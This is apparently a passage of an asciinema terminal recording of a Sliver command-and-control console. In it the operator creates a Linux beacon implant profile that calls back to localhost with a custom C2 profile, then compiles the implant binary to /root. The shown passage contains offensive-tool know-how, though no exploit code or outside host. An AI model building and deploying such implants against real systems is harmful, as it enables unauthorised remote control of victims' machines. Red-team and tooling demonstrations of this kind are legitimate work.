[37.11064, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby rubyc2p\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[37.112279, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[100D\u001b[9C\u001b[214D\u001b[100C\u001b[?25h"]
[37.149812, "o", "\u001b[?25l"]
[37.151049, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[37.153439, "o", "\u001b[6n"]
[37.157455, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby rubyc2pr\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[37.158179, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[101D\u001b[9C\u001b[214D\u001b[101C\u001b[?25h"]
[37.219831, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[37.227808, "o", "\u001b[6n"]
[37.232063, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby rubyc2pro\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[37.232776, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[102D\u001b[9C\u001b[214D\u001b[102C\u001b[?25h"]
[37.373937, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[37.38667, "o", "\u001b[6n"]
[37.395682, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby rubyc2prof\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
[37.396178, "o", "\u001b[1A\u001b[103D\u001b[9C\u001b[214D\u001b[103C\u001b[?25h"]
[37.44008, "o", "\u001b[?25l\u001b[214D"]
[37.440966, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[37.444557, "o", "\u001b[6n"]
[37.459194, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby rubyc2profi\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[37.459977, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[104D\u001b[9C\u001b[214D\u001b[104C\u001b[?25h"]
[37.494075, "o", "\u001b[?25l"]
[37.49511, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[37.497956, "o", "\u001b[6n"]
[37.501262, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby rubyc2profil\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[37.501829, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[105D\u001b[9C\u001b[214D\u001b[105C\u001b[?25h"]
[37.540007, "o", "\u001b[?25l\u001b[214D"]
[37.540158, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[37.544333, "o", "\u001b[6n"]
[37.547712, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby rubyc2profile\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[37.548038, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[106D\u001b[9C\u001b[214D\u001b[106C\u001b[?25h"]
[38.237748, "o", "\u001b[106D\u001b[9C"]
[38.246779, "o", "\u001b[6n"]
[38.277642, "o", "\u001b[214D\u001b[106C\u001b[0J\u001b[214D"]
[38.278008, "o", "\r\r\n"]
[38.280107, "o", "\u001b[0 q\r\n"]
[38.320896, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mSaved new implant profile (beacon) rubyc2profile\r\n\r\n"]
[38.331488, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[38.331944, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[38.341378, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C"]
[38.341978, "o", "\u001b[214D\u001b[9C\u001b[?25h"]
[40.116503, "o", "\u001b[?25l"]
[40.119539, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[40.136581, "o", "p\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C"]
[40.138566, "o", "\u001b[214D\u001b[10C\u001b[?25h"]
[40.2158, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[40.222033, "o", "pr\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[40.222296, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
[40.298625, "o", "\u001b[?25l"]
[40.300622, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[40.317525, "o", "pro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
[40.427201, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[40.437241, "o", "prof\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[40.437611, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
[40.486403, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[40.491898, "o", "profi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[40.49257, "o", "\u001b[214D\u001b[1A\u001b[14D\u001b[9C\u001b[214D\u001b[14C\u001b[?25h"]
[40.549605, "o", "\u001b[?25l\u001b[214D"]
[40.551094, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[40.563066, "o", "profil\u001b[0m\u001b[0K\u001b[49m\r"]
[40.56325, "o", "\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[15D\u001b[9C\u001b[214D\u001b[15C\u001b[?25h"]
[40.581101, "o", "\u001b[?25l\u001b[214D"]
[40.582186, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[40.594132, "o", "profile\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[40.594895, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[16D\u001b[9C\u001b[214D\u001b[16C\u001b[?25h"]
[40.652994, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[40.659408, "o", "\u001b[1m\u001b[32mprofiles\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[17D\u001b[9C\u001b[214D\u001b[17C\u001b[?25h"]
[40.856596, "o", "\u001b[17D\u001b[9C\u001b[6n"]
[40.874955, "o", "\u001b[214D\u001b[17C\u001b[0J\u001b[214D\r\r\n"]
[40.878025, "o", "\u001b[0 q\r\n"]
[40.910692, "o", " Profile Name Implant Type Platform Command & Control Debug Format Obfuscation Limitations C2 Profile \r\n=============== ============== ============= ======================= ======= ============ ============= ============= ============\r\n rubyc2profile beacon linux/amd64 [1] https://localhost true EXECUTABLE disabled ruby \r\n\r\n"]
[40.922672, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[40.923553, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[40.930142, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[40.931389, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
[42.091647, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[42.114662, "o", "p\u001b[0m\u001b[0K\u001b[49m"]
[42.116142, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
[42.199663, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[42.207437, "o", "pr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A"]
[42.20783, "o", "\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
[42.307684, "o", "\u001b[?25l"]
[42.314942, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[42.32259, "o", "pro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[42.324083, "o", "\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
[42.449625, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[42.46449, "o", "prof\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
[42.495577, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[42.499706, "o", "profi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[42.500421, "o", "\u001b[214D\u001b[1A\u001b[14D\u001b[9C\u001b[214D\u001b[14C\u001b[?25h"]
[42.610565, "o", "\u001b[1 q"]
[42.651049, "o", "\u001b[1 q"]
[42.652594, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[42.667294, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[42.667774, "o", "\u001b[214D\u001b[1A\u001b[18D\u001b[9C\u001b[214D\u001b[18C\u001b[?25h"]
[43.028604, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[43.043158, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mg\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[19D\u001b[9C"]
[43.045266, "o", "\u001b[214D\u001b[19C\u001b[?25h"]
[43.086193, "o", "\u001b[?25l"]
[43.087628, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[43.091382, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mge\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[20D\u001b[9C\u001b[214D\u001b[20C\u001b[?25h"]
[43.234677, "o", "\u001b[?25l\u001b[214D"]
[43.236571, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[43.258207, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mgen\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[21D\u001b[9C\u001b[214D\u001b[21C\u001b[?25h"]
[43.278722, "o", "\u001b[?25l\u001b[214D"]
[43.27967, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[43.28902, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mgene\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[43.289839, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[22D\u001b[9C\u001b[214D\u001b[22C\u001b[?25h"]
[43.466245, "o", "\u001b[1 q"]
[43.501883, "o", "\u001b[1 q\u001b[?25l"]
[43.503625, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[43.513793, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mgenerate \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[43.514706, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[27D\u001b[9C\u001b[214D\u001b[27C\u001b[?25h"]
[44.590709, "o", "\u001b[27D\u001b[9C"]
[44.597172, "o", "\u001b[6n"]
[44.607989, "o", "\u001b[214D\u001b[27C\u001b[0J\u001b[214D\r\r\n"]
[44.608789, "o", "\u001b[0 q\r\n"]
[44.626856, "o", "Error: accepts 1 arg(s), received 0\r\n"]
[44.629236, "o", "Usage:\r\n profiles generate [flags]\r\n\r\nFlags:\r\n -G, --disable-sgn disable shikata ga nai shellcode encoder\r\n -h, --help help for generate\r\n -s, --save string directory/file to the binary to\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\n"]
[44.630687, "o", "\r\n"]
[44.6392, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[44.639589, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[44.650584, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[44.651137, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
[45.851107, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[45.87223, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mgenerate\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[45.875295, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[26D\u001b[9C\u001b[214D\u001b[26C\u001b[?25h"]
[46.143718, "o", "\u001b[?25l"]
[46.154211, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[46.177588, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mgenerate \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[27D\u001b[9C"]
[46.179753, "o", "\u001b[214D\u001b[27C\u001b[?25h"]
[46.496135, "o", "\u001b[1 q"]
[46.553261, "o", "\u001b[1 q\u001b[?25l"]
[46.55356, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[46.554739, "o", "\u001b[6n"]
[46.557618, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mgenerate rubyc2profile \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[41D\u001b[9C\u001b[214D\u001b[41C\u001b[?25h"]
[47.102498, "o", "\u001b[41D\u001b[9C"]
[47.115639, "o", "\u001b[6n"]
[47.15072, "o", "\u001b[214D\u001b[41C\u001b[0J\u001b[214D\r\r\n"]
[47.152484, "o", "\u001b[0 q\r\n"]
[47.174531, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mGenerating new linux/amd64 beacon implant binary (1m0s)\r\n"]
[47.279969, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[47.38042, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[47.482622, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[47.584007, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[47.685111, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[47.787668, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[47.888575, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[47.989491, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[48.095394, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[48.195737, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[48.296425, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[48.400774, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[48.501115, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[48.601394, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[48.703694, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[48.804432, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[48.904991, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[49.008739, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[49.111122, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[49.211963, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[49.312678, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[49.41605, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[49.516658, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[49.617012, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[49.721773, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[49.822577, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[49.926102, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[50.027945, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[50.129633, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[50.230208, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[50.331449, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[50.432705, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[50.533486, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[50.634115, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[50.735088, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[50.835829, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[50.937012, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[51.037658, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[51.13811, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[51.238802, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[51.339384, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[51.439611, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[51.540481, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[51.641578, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[51.742189, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[51.843116, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[51.944513, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[52.044775, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[52.145419, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[52.24665, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[52.347899, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[52.448675, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[52.548878, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[52.649544, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[52.750914, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[52.851243, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[52.95578, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[53.057647, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[53.159399, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[53.260034, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[53.360943, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[53.46165, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[53.562852, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[53.662966, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[53.763569, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[53.864542, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[53.965561, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[54.066431, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[54.167275, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[54.267733, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[54.370531, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[54.471065, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[54.57173, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[54.672305, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[54.772736, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[54.873777, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[54.97493, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[55.075873, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[55.180964, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[55.281075, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[55.381828, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[55.482658, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[55.583011, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[55.686264, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[55.786923, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[55.887783, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[55.992701, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[56.09345, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[56.193715, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[56.294307, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[56.395041, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[56.496196, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[56.596524, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[56.697098, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[56.798146, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[56.899027, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[57.000679, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[57.101693, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[57.204178, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[57.305552, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[57.406075, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[57.506703, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[57.607736, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[57.708763, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[57.809747, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[57.910302, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[58.010753, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[58.110965, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[58.213099, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[58.313627, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[58.414383, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[58.515102, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[58.6157, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[58.716536, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[58.816918, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[58.917932, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[59.018887, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[59.11947, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[59.221657, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[59.325179, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[59.426236, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[59.526394, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[59.628343, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[59.728781, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[59.830545, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[59.931291, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[60.031909, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[60.13345, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[60.233744, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[60.334409, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[60.43903, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[60.53986, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[60.641183, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[60.742521, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[60.845122, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[60.945659, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[61.046263, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[61.150717, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[61.252405, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[61.35303, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[61.453724, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[61.525748, "o", "\r\u001b[2K"]
[61.526151, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBuild completed in 14s\r\n"]
[61.540264, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mImplant saved to /root/ASHAMED_WHISKEY\r\n\r\n"]
[61.549793, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[61.550094, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[61.558569, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[61.559081, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
[71.047093, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[71.047469, "o", "\u001b[6n"]
[71.058268, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[71.058901, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
[71.392535, "o", "\u001b[?25l"]
[71.396397, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[71.4165, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
